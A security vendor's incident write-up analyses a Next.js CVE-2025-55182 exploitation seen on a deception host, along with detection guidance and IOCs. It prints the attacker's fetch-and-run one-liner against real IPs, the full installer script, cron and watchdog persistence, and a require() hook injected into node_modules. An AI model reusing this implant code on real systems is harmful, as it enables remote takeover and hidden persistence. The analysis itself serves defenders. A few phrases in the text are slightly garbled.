Skip to content

Hiding in node_modules: a CVE-2025-55182 implant that rewrites Next.js so the app relaunches it

CVE-2025-55182
Home News & Blogs Hiding in node_modules: a CVE-2025-55182 implant that rewrites Next.js so the app relaunches it

Most incident write-ups start after the damage is done: a breach found weeks later and a timeline pieced together from whatever logs survived.. We watched this one from the first command, as an attacker exploited CVE-2025-55182 (React2Shell) in a Next.js application and had a running implant 36 seconds later. They exploited a vulnerable Next.js application, dropped a remote-control agent and wired it into the application’s own code so it would come back every time the app restarted, and we watched every command as it happened. They thought it was a production server, but it was one of our deception hosts. 

What follows is the full playbook, captured live: how the implant hides inside node_modules, why a routine cleanup leaves it in place, and the indicators you need to check whether it’s already running on yours.

 

TL;DR

  • An attacker exploited a deception host running a Next.js application vulnerable to CVE-2025-55182, the React Server Components remote code execution flaw.
  • The payload installed a remote-control agent (r2s_agent) under /var/tmp/.r2s/. It kept the agent alive in three independent ways:
    • a cron job every 3 minutes;
    • a shell watchdog looping every 15 seconds;
    • a one-line require() hook prepended to Next.js’s own server code: node_modules/next/dist/server/lib/start-server.js, next-server.js and the app’s instrumentation.js.
  • The third mechanism is the most interesting. The attacker’s own comment says it: “Tiny Next boot hook: respawn after container restart (cron cannot).” Every time the application starts, Next.js itself relaunches the implant.
  • A cleanup that kills the agent, deletes its cron entry and its directory looks complete. The hook stays behind in your dependencies, waiting for whatever reappears at that path.
  • The same infrastructure came back later with a credential harvester and an XMRig miner. IOCs, detections and remediation steps are at the end.

 
 

How we saw every command

A deception host is a real server built to look and behave like a real one. This one ran a Next.js application with a known vulnerability and sat where attackers would find it. No legitimate user or process ever touches a decoy, so everything that happens on it is attacker activity. That gives us a clean record from the moment of exploitation: every process, file write and network connection, captured and mapped to MITRE ATT&CK. On a production server, the same commands would be buried in normal traffic or found weeks later. Here we had the full install, timestamped to the second.

 

The entry point

The host exposed a Next.js application on a React version affected by CVE-2025-55182. It’s a CVSS 10.0 unauthenticated RCE in React Server Components, and the fix was published and disclosed on December 3, 2025. Affected React versions are 19.0.0, 19.1.0, 19.1.1, and 19.2.0. Next.js’s separate CVE-2025-66478 was rejected as a duplicate. Ten months later it’s still being exploited.At 11:06:02 UTC the Next.js server process (node) spawned a shell:

/bin/sh -c 'setsid sh -c '\''wget -qO- http://158.220.105.179:8765/r2s_a.sh|sh'\'' </dev/null >/dev/null 2>&1 & echo LAUNCHED; echo R2M_c73a38f2'

Three details stand out:

  • setsid … & detaches the installer from the request that triggered it. The vulnerable HTTP request returns at once, and the installer keeps running as its own session.
  • echo LAUNCHED; echo R2M_<8 hex> is a marker. Each exploitation attempt carries a fresh R2M_ token. Our reading is that the operator’s tooling looks for this token in the HTTP response to confirm the payload ran.
  • The same one-liner came back several times over the next 20 minutes. Some runs used curl -fsSLk https://158.220.105.179/r2s_a.sh | sh over HTTPS with certificate checks disabled. Each run carried a new marker (R2M_3ac28b3d, R2M_0d5ffb80, R2M_d92d0295, R2M_e11dc219, R2M_d8c4c010, …). That looks like automated, repeated exploitation rather than a hands-on operator.

 
The application ran as root, so everything below ran as root too.

 

The installer: r2s_a.sh

We reconstructed the installer from shell-level telemetry. Lines logged in the same second can be slightly out of order, but the logic is unambiguous. Its first comment summarizes it:

# Pull agent, detach from RCE job, babysit, hook Next boot.

1. Configuration

HUB=158.220.105.179:9443
TOK=f0698ee254e799ef1436ec01a95e88f5
H=158.220.105.179
H2=138.197.174.121          # fallback download server
P=8765
BIN=r2s_agent_amd64
uname -m | grep -Eq 'aarch64|arm64' && BIN=r2s_agent_arm64
D=/var/tmp/.r2s
mkdir -p "$D" || { D=/tmp/.r2s; mkdir -p "$D"; }
K=$D/k

The agent is built for both x86-64 and ARM64. If /var/tmp isn’t writable, the installer falls back to /tmp/.r2s.

2. Download the agent

dl() {
  curl -fsSL --connect-timeout 8 --max-time 90 -o "$K" "$1" && test -s "$K" && return 0
  wget -q -T 40 --tries=2 -O "$K" "$1" && test -s "$K" && return 0
  return 1
}
if [ ! -x "$K" ]; then
  dl "http://$H:$P/$BIN" || dl "http://$H2:$P/$BIN" || exit 1
  chmod +x "$K"
fi

The agent is saved as a one-letter file, k. On our host it was downloaded from http://158.220.105.179:8765/r2s_agent_amd64 (SHA-256 26bc82f712efbe60d57ea30257184811d60b47f5549b5d5cc4e1c708ac6a13df).

3. A stable identity and a launcher

if [ ! -s “$D/id” ]; then od -An -N8 -tx1 /dev/urandom 2>/dev/null | tr -d ‘ \n’ >”$D/id” fi ID=`cat “$D/id” 2>/dev/null` [ -n “$ID” ] || ID=h$$ printf ‘#!/bin/sh\nexport R2S_AGENT_ID=%s\nexec “%s” -hub %s -token %s\n’ “$ID” “$K” “$HUB” “$TOK” >”$D/s” chmod +x “$D/s”

Each victim gets a persistent random ID ($D/id), so the operator can recognize a host across re-infections. The launcher s holds the C2 address and the campaign token. On the host it starts the agent as:

/var/tmp/.r2s/k -hub 158.220.105.179:9443 -token f0698ee254e799ef1436ec01a95e88f5

4. Persistence layer 1: a shell watchdog (w)

cat >"$D/w" <<EOF
#!/bin/sh
while true; do
  found=0
  for f in /proc/[0-9]*/cmdline; do
    c=\`tr '\0' ' ' <"\$f" 2>/dev/null\` || continue
    case "\$c" in *"\$K -hub"*) found=1; break ;; esac
  done
  [ "\$found" = 1 ] || "\$S" </dev/null >/dev/null 2>&1 &
  sleep 15
done
EOF

Every 15 seconds the watchdog walks /proc, looking for a process whose command line contains /var/tmp/.r2s/k -hub. If none is found, it restarts the agent through s.

The author was careful here. A comment in the installer warns: “Watcher cmdline is “sh $D/w” — must not contain $HUB or pgrep matches itself.” The installer starts w only if no copy is already running, under setsid when available and nohup otherwise.

5. Persistence layer 2: cron

(crontab -l 2>/dev/null | grep -v "$D/"; echo "*/3 * * * * $D/s") | crontab - 2>/dev/null || true

This rewrites root’s crontab: it removes any older line for the implant and adds a fresh one, so the agent comes back every 3 minutes.

6. Persistence layer 3: the Next.js boot hook

This is the interesting part:

# Tiny Next boot hook: respawn after container restart (cron cannot).
hook() {
  f=$1
  [ -f "$f" ] && [ -w "$f" ] || return 0
  grep -q r2s-ag "$f" 2>/dev/null && return 0
  t=$f.t$$
  printf '%s\n' '/*r2s-ag*/try{require("'"$D"'/b.js")}catch(e){}' >"$t" && cat "$f" >>"$t" && mv "$t" "$f"
}
for f in \
  ./node_modules/next/dist/server/lib/start-server.js \
  /app/node_modules/next/dist/server/lib/start-server.js \
  ./node_modules/next/dist/server/next-server.js \
  /app/node_modules/next/dist/server/next-server.js
do
  hook "$f"
done
for f in /app/instrumentation.js ./instrumentation.js; do
  [ -e "$f" ] || { printf '%s\n' '/*r2s-ag*/try{require("'"$D"'/b.js")}catch(e){}' >"$f" 2>/dev/null; continue; }
  hook "$f"
done

For each target file, the hook:

  • skips files already patched, by checking for the r2s-ag marker comment, so re-running the installer is idempotent;
  • writes a temporary copy (<file>.t<pid>) whose first line is
/*r2s-ag*/try{require("/var/tmp/.r2s/b.js")}catch(e){}

followed by the original file’s content;

  • swaps the copy in with mv, so the patch lands in a single rename and no process ever reads a half-written file.

 
The targets are chosen deliberately:

  • next/dist/server/lib/start-server.js and next/dist/server/next-server.js are loaded whenever next start boots the production server.
  • instrumentation.js is Next.js’s official start-up hook, a file Next.js loads at server start. If it doesn’t exist, the installer creates it with just the hook line, which is what happened at /app/instrumentation.js on our host.
  • The try/catch makes the hook invisible when it fails. b.js has been deleted, the application starts exactly as before, with no error in the logs to give it away.

 
On our host, the telemetry shows each step for all three files: the grep -q r2s-ag check, the .t4995 temporary copy, cat of the original, and the mv.

7. What the hook loads: b.js

The installer writes a small JavaScript file next to the agent:

var fs=require('fs'),cp=require('child_process'),S='/var/tmp/.r2s/s';
function a(){try{for(var d=fs.readdirSync('/proc'),i=0;i<d.length;i++){
  if(!/^[0-9]+$/.test(d[i]))continue;
  try{if(fs.readFileSync('/proc/'+d[i]+'/cmdline').indexOf('/var/tmp/.r2s/k -hub')>=0)return 1}catch(e){}
}}catch(e){}return 0}
function g(){if(a())return;try{cp.spawn(S,{detached:true,stdio:'ignore'}).unref()}catch(e){}}
g();setInterval(g,15000);

Loaded inside the Next.js server process, b.js does what the shell watchdog does, from inside the application. Every 15 seconds it looks for the agent and, if it can’t find it, spawns the launcher detached (detached:true, unref()), so the agent doesn’t die with the web server.

An analyst’s note: /proc/<pid>/cmdline separates arguments with NUL bytes, not spaces. As written, b.js searches the raw file for “/var/tmp/.r2s/k -hub”, with a space, so it never finds the running agent. The hook therefore re-spawns the launcher every 15 seconds for as long as the application runs. The shell watchdog converts the NULs to spaces first (tr ‘\0’ ‘ ‘) and doesn’t have this bug.

8. Start everything

"$D/s" </dev/null >/dev/null 2>&1 &
exit 0

At 11:06:38 the agent started: /var/tmp/.r2s/k -hub 158.220.105.179:9443 -token f0698ee2…. From then on, cron restarted it on schedule. The whole install, from the RCE to a running agent with three persistence mechanisms, took 36 seconds.

 

What makes this CVE-2025-55182 implant different

Most RCE post-exploitation on Linux persists with cron, systemd or shell profiles, and defenders know where to look for those. This campaign adds a mechanism that:

  • Lives inside the dependency tree. Few teams monitor r for integrity at runtime, and a one-line comment-tagged node_modules at the top of a minified Next.js file is easy to miss.
  • Survives the obvious cleanup. Killing k, removing the cron line and deleting /var/tmp/.r2s disables the implant but doesn’t remove the hook. If the operator or a later infection recreates /var/tmp/.r2s/b.js, the next restart of the app runs it.
  • Survives restarts, and is designed for containers. In a container, cron and /var/tmp often don’t persist across restarts, but the application’s own code does if it lives in the image or a mounted volume. The attacker’s comment says this is the goal: “respawn after container restart (cron cannot)”.
  • Runs with the application’s privileges at every boot, from a file nobody expects to change between deployments.

 

Detection and hunting

On a host

  • Look for the hook marker:
grep -rl 'r2s-ag' / --include='*.js' 2>/dev/null
grep -rn 'require("/var/tmp/' /path/to/app/node_modules/next/dist/server/ /path/to/app/instrumentation.js
  • Check Next.js’s server files against the published package. Compare node_modules/next with a fresh install of the same version (npm ci in a clean directory, then diff), or verify it against the lockfile’s integrity hashes.
  • Check for an instrumentation.js you didn’t write.
  • Look for /var/tmp/.r2s/ or /tmp/.r2s/ containing k, s, w, b.js and id.
  • Check root’s crontab for */3 * * * * /var/tmp/.r2s/s.

 

In telemetry (EDR, auditd, process and file events)

  • The Next.js server spawning a shell: a node running next start as the parent of sh -c …, especially with wget/curl … | sh.
  • JavaScript under node_modules written by a shell or file tool. sh, mv, cp, tee, sed or cat creating or renaming a .js file under node_modules/, or an app’s instrumentation.js. Package managers write through node/npm, not through mv from a shell.
  • Temporary copies named <file>.js.t<pid> next to Next.js server files.
  • Execution from a hidden directory under /var/tmp or /tmp.
  • A process whose command line contains -hub <ip>:9443 -token <32 hex>.

 

Remediation

  1. Treat the host as compromised. The application ran as root, and the follow-on activity harvested credentials, so rotate every credential the host could reach: cloud keys, tokens and SSH keys.
  2. Rebuild the app from a clean image and a clean npm ci rather than patching in place. Removing the agent, cron and directory isn’t enough while the hook remains in node_modules.
  3. Upgrade React and Next.js to versions fixed for CVE-2025-55182.
  4. Don’t run the Node.js application as root, and make its code and node_modules read-only at runtime (read-only container filesystem, or ownership separate from the runtime user). This hook only works because the application can write its own code.
  5. Block outbound traffic from application servers to unknown hosts. The installer, the agent download and the C2 all needed outbound HTTP/HTTPS and 9443.

This write-up comes from CounterCraft’s deception hosts, servers we run to watch attacks as they happen. We publish what they capture when it’s useful to defenders. Contact us to find out more.

 

Indicators of compromise

Network

Indicator Role
158.220.105.179 Installer and agent download (:8765 over HTTP, :443 over HTTPS), C2 hub (:9443)
138.197.174.121 Fallback agent download (:8765)
85.215.219.126 Follow-on: second-stage installer and XMRig download (:8765), mining endpoint (:443)
http://158.220.105.179:8765/r2s_a.sh Installer (HTTP)
https://158.220.105.179/r2s_a.sh Installer (HTTPS, certificate checks disabled)
http://158.220.105.179:8765/r2s_agent_amd64 Agent, x86-64
http://158.220.105.179:8765/r2s_agent_arm64 Agent, ARM64 (referenced)
http://138.197.174.121:8765/r2s_agent_{amd64,arm64} Fallback agent URLs
http://85.215.219.126:8765/r2s_native_install.js Follow-on second stage
http://85.215.219.126:8765/xmrig-x64.bin.gz Follow-on miner

 

Files and hashes

Indicator Notes
/var/tmp/.r2s/k (fallback v/tmp/.r2s/k) r2s_agent_amd64, SHA-256 26bc82f712efbe60d57ea30257184811d60b47f5549b5d5cc4e1c708ac6a13df
/var/tmp/.r2s/s Launcher: exec k -hub … -token …
/var/tmp/.r2s/w Shell watchdog
/var/tmp/.r2s/b.js In-process watchdog loaded by the Next.js hook
/var/tmp/.r2s/id Persistent victim ID (16 hex characters)
node_modules/next/dist/server/lib/start-server.js Hooked (first line starts with /*r2s-ag*/)
node_modules/next/dist/server/next-server.js Hooked
instrumentation.js (app root, or /app/) Hooked or created
n*.js.t<pid> next to the files above Installer’s temporary copies
/app/.c/.x Follow-on XMRig, SHA-256 96fc528ca5e7d1c2b3add5e31b8797cb126f704976c8fbeaecdbf0aa4309ad46

 

Strings and other

Indicator Notes
/*r2s-ag*/try{require(“/var/tmp/.r2s/b.js”)}catch(e){} The hook line
-hub 158.220.105.179:9443 -token f0698ee254e799ef1436ec01a95e88f5 Agent command line
R2S_AGENT_ID Environment variable set by the launcher
echo LAUNCHED; echo R2M_<8 hex> Execution-confirmation marker in the exploit payload
*/3 * * * * /var/tmp/.r2s/s Root crontab entry
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAVZyWMNJugW0pgVM3gw6wXOwoF36B62M0Py+ZIdwepl r2sh-fleet-box2 Follow-on SSH key
47Gju616BichSCU9PzyZGCHASkSwo7rH1N9v7Q5SqvFSjcFjrTXbJMqEzgHDinJFtEPL7o3n9nqMuEr6KvrYCaqeGAbdDXR Follow-on Monero wallet

 

MITRE ATT&CK

Technique How it was used
T1190 Exploit Public-Facing Application CVE-2025-55182 in the Next.js application
T1059.004 Unix Shell sh -c from the Next.js server, the installer, the watchdog
T1059.007 JavaScript b.js, loaded by the hooked Next.js files
T1105 Ingress Tool Transfer wget/curl of the installer, agent, second stage and miner
T1554 Compromise Host Software Binary Next.js server files and instrumentation.js modified to load the implant
T1053.003 Cron */3 * * * * /var/tmp/.r2s/s
T1564.001 Hidden Files and Directories /var/tmp/.r2s/, /app/.c/
T1036 Masquerading One-letter binary names ( k, s, w) and the comment-tagged hook line
T1071.001 Web Protocols / T1571 Non-Standard Port Agent C2 to :9443, downloads from :8765
T1552.001 / T1552.005 Unsecured Credentials Follow-on harvesting of credential files and cloud metadata
T1098.004 SSH Authorized Keys Follow-on r2sh-fleet-box2 key
T1496 Resource Hijacking Follow-on XMRig

 

david barroso bio